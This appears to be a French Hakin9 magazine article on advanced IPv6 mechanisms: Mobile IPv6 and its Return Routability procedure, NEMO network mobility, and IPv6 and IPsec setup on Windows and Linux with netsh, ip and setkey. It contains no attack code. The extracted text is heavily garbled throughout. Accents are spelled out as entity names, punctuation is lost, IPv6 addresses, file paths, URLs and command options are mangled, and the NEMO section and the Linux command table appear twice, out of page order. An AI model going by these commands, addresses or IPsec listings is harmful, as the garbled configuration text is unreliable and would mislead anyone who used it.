Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 41: hakin9_05_2010_FR

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

